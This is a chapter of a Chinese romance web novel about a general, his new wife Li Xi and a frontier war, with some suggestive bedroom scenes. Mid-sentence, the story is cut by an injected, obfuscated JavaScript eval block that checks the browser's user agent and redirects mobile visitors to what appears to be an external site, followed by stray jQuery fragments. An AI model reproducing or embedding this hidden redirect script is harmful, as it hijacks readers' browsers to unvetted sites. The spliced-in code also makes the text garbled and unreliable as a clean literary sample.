“糟了,稚蛮打过来了!”
李熙正穿着衣裳,门外敲门声响起,她将衣裳提上肩头,遮住了她布满红驳的皮肤。
她身后的男子起身环住她纤细的腰肢,那精致地下颚轻轻放在她肩膀上,透过她耳垂望向门外,他声音慵懒,还带着几分餍足,闻言又将目光转向,瞄至她修长的天鹅颈,目光迷离,又像是走了神,漫不经心道:“不是早打过来了?哦,将军都死了好几个。”
这死水一般的语气散发着淡淡的幽默,让李熙不由得用余光多看了他一眼。
方临煦靠在她身上,见她侧眸,几缕调皮的青丝缓缓垂落下来,从他脸上蹭过,他眼神沉了沉,埋首在她颈窝。
李熙一愣,哭笑不得。
这是做什么?
“这次不一样,稚蛮的军队犹如长龙一般,看人数似乎比咱们的人还多上一些,这根本不合常理!”李副将在门外忧心忡忡,来回踱步,听脚步声就可见他心中有多急。
而某位大将军呢,就显得惬意不少了。他勾起李熙的碎发,在指尖慢慢萦绕,散漫得很。
李熙不由得轻笑着点了点他眉心,娇笑道:“你再如此散漫,不理政事,旁人就得说我是魅惑人心的妲己了。”
方临煦抬手一捉,将她指尖握在手中,牵拉着她的手轻轻抹在他唇上,而他眼神更加深沉,看着她眼底仿佛集聚了狂风骤雨。
他缓缓抬眸,眼尾绯红,满头凌乱无序,就像惨遭过蹂躏,显得格外美艳动人,与平时的他大相径庭。尤其是她指腹擦过他唇心时,他幽幽抬起的眸光,里面仿佛掀起了黑色的漩涡,望着她,就要将她生生吸进去。
李熙看得不由得脸红心跳。
等等,这男人也太好看了吧?
李熙脑海中竟闪过这样的话,她察觉自己的心扑通扑通跳个不停。
……昨天也没发现啊。
“你心跳很快。”方临煦紧贴着她,眼中闪过一丝笑意。
李熙别开眼睛。
方临煦嘴角扬起,轻轻吻上她脖颈,李熙整个人一激灵。
她被亲吻的肌肤当即留下淡淡的红印,她耳根爬上红潮,直至爬满整个耳朵。
而恶劣的男人则贴在她脖颈处,发声:“若为你,做回纣王又有何不可?”
嗓音若颤,与她脖颈同振,振得她全身酥酥麻麻,犹如被电触拨过一般。
好会。
李熙心尖儿发颤。
她回望他,眼尾渐渐变红,脸上也是,她眼神迷离起来,仿佛带着钩子,钩得方临煦喉结滚动,眼神又沉了几分。
他勾落她提至肩膀的外衫,唇轻轻抚过。
她微微眯起眼,浑身炙热难耐。
“将军,您在听吗?”
“将军!”
几次催促,李熙骤然惊醒,她忙推开方临煦,抬手提起衣裳,轻咳两声:“不要耽误了正事。”
方临煦顺势倒在床上,炙热的目光紧紧盯着她穿衣的模样,她很慌乱,连盘扣都盘错了两个,又开始解……
“将军!”
方临煦闻声,深吸了口气,只是眼神从炙热变成了不悦。
他起身从一旁取过衣裳披在身上,去开了门。
“将……”
方临煦抵在门口,将里面风光挡住大半。
李副将看见方临煦开门,眼神一亮,仿佛看见了希望,可是那骤亮的眼神却在接触到对方那幽深晦暗,明显带着不满的眼神时,吓得倒退了一步。
“你是第一天打仗吗?”
“没有我你脑子就不转了?”
李副将被劈头盖脸这么一骂,整个人萎靡下来:“不,不是,只是……”
“没见过那么多人?究竟有多少人,竟把你也吓到了,怎么,整个稚蛮的人都来了?”欲求不满的男人总是可怕的。
李副将唯唯诺诺:“倒也没那么多……”
“呵。”他靠在门边,头发凌乱,眼神却很犀利,让人根本不敢将视线放在他的脸上。
“正事要紧,你穿好衣裳去吧,别让李副将等急了。”方临煦转头,李熙已经穿好了衣裳,脸上红潮退去,无一丝异样。
方临煦更烦了:“你怎么起来了?”
李熙笑道:“早起了。”
“再睡睡。”
“不了。”
“再睡睡。”方临煦坚持道。
“陪我再睡睡。”
李熙:“……”
李副将闻言,脸一阵青一阵红,原来是他坏了将军的好事,怪不得将军对他这个态度。等等,昨天一夜都还没够吗?
李副将惶恐至极:将军真是天赋异禀……
方临煦注意到他的眼神,李副将立马道:“……属下这就走,绝不打扰将军和夫人的好事!”
李熙:“……”
李熙看着二人,有些疑惑:“稚蛮不是打过来了吗?”
说完又问李副将:“你刚刚不是很急吗?”
李副将小心翼翼瞧了方临煦一眼,方临煦轻飘飘递给他一个眼神,他立刻一激灵:“好像又不是那么急了……”
李熙无语:“打到眼前了还不急?”
李副将讷讷道:“其实还有一段距离。”
李熙看李副将跟看白痴一样:“那你急什么急?”
李副将有苦说不出。
方临煦见他一脸求放过的表情,这才徐徐说道:“我昨日就吩咐下去了,要他们好好注意稚蛮的动静,所以他们才能提前掌握稚蛮的行踪。不过,刚刚失去几员大将,稚蛮士气低落,要打,现在不是好时候。至于多出来的那些人马,不过是让他们重鼓士气的小手段罢了。”
“可是那些人不是稚蛮人也不是西域人。”李副将为难道。
李熙缓缓打了个哈欠:“南朝人嘛,我懂。”
李副将跟看鬼似的看向李熙。
李熙啧了两声:“怎么这样看我,不是稚蛮人也不是西域人,不是只能是南朝人了吗,连小孩子都知道的事情你不懂?”
李副将:好像被鄙视了。
“我自然知道!可是你们不觉得奇怪吗,为什么会有一支南朝的军队加入稚蛮,还跟着稚蛮来打咱们?”
“都到这个时候了,你还想不明白?方临煦,你这部下是榆木脑袋吗?要不让门夹夹,说不定还能聪明些呢。”李熙闲闲散散往柱子上一靠,跟个老大爷似的。
李副将有点憋屈:“我哪里是想不明白,我是不敢想。”
“连你都想得明白的事情,皇帝他也敢做,看样子当真是黔驴技穷了。”李熙大大咧咧直接说了出来。
“他现在是只要能把我拉下马,什么都得试试。”方临煦回道。
李副将:“……”他藏着掖着不就为了少听点这种大逆不道的吗,怎么全听完了?
李副将在一旁瑟瑟发抖。
“那现在如何?”李熙问道。
方临煦思忖片刻,忽而勾起唇角:“那就……让他彻底死心。”
李熙微微颔首:“打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374237|157348||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得他不敢再起这个念头。”
这两人相视一笑,颇为默契。
李副将只觉得自己像白天的蜡烛,足够多余。他默了默,觉得自己今天就不该来,便准备偷偷溜走。
“对了李副将,替我送一份大礼。”李熙忽然叫住李副将,说道。
“送给谁?”
李熙笑道:“西域王子利利慕沙。”
李副将愣了愣:“送给他?”
“祝贺他与稚蛮王的孙女喜结连理。”李熙解释道。
李副将有些摸不着头脑:“喜结连理?他昨日不是才参加您和将军的婚礼吗,他也要成亲了?这么突然的?”
李熙笑得意味深长:“不证明一下自己的价值,南朝军怎么会帮他。为了利益联姻嘛,不算磕碜,你说对吗,方将军。”
李熙不忘揶揄他几句。
方临煦眼神一深:“你觉得我是为了利益和你联姻?”
直觉告诉她,这个问题回答不好恐怕会死,某种意义上的。
“怎么会,开个玩笑?”
他砰地关上门,还好李副将闪得快,差点儿碰了一鼻子灰。
李副将贴近门,只听见他家将军不咸不淡的声音:“那就证明给我看。”
“我还有事呢……我衣服都穿好了,方临煦,你别太过分!”
“嗯~”
凌乱的衣衫滑落肩头,掉在地面,无人在意。
李熙的怒声被潮水吞没,变成了断断续续,不成调子的呻吟。
两道影子交叠,青丝与青丝交织,相融,再不分彼此。
*
李熙再醒来已是晌午,门外的饭菜仍旧温热。
她按了按自己跳动的眉心,只觉得开了荤的男人可怕极了。
现在,李副将看她肯定跟看妲己没两样了。她无奈扶额。
“李副将说,礼物送到时,利利慕沙王子的脸色很难看,不过他还是收下了礼物,没打开,直接扔了。”
李熙扫开那些嘈杂的念头,回到阿宁的汇报上。
她闻言,嗤笑一声:“沉不住气。”
她指尖挑起茶杯,轻轻饮了口:“我若是他,必然会气定神闲地拆开礼物,然后道谢,而非将情绪摆在脸上,让所有人都知道……我被羞辱了。”
是的,羞辱。
利利慕沙推翻了茶桌,怒极反笑:“那李熙是什么意思?我前一秒才刚刚谈好了与稚蛮王的联姻,后一秒她就来道喜,这不是告诉所有人,我的一切尽在她掌握之中吗?”
贺明常翘着腿,闲闲散散的饮着茶,手中的书有一搭没一搭的翻阅着,对利利慕沙的愤怒视之不见。
“你去了人家的婚礼,送了礼物,礼尚往来,人家自然会送回给你。”
“是你让我去的!”
贺明常嘴角微微勾起,眼中泛上讽刺:“是利益驱使你去的。”
利利慕沙脸色一阵青一阵白,但是却无可辩驳。
贺明常伸了个懒腰:“这不是坏事,起码你知道了自己有多渺小。不要再自以为是,做任何决策时都好好想想对方知不知道,猜不猜得到,不要为他人做了嫁衣还茫然不知,那才是真的蠢货。”
利利慕沙顿时无话可说:“那我该怎么办?”
“看书。”
“看书?”
贺明常将自己手上那本书亮给他看。
利利慕沙嘴角抽了抽。
只见那本书上写着几个字——
“中原语言的艺术。”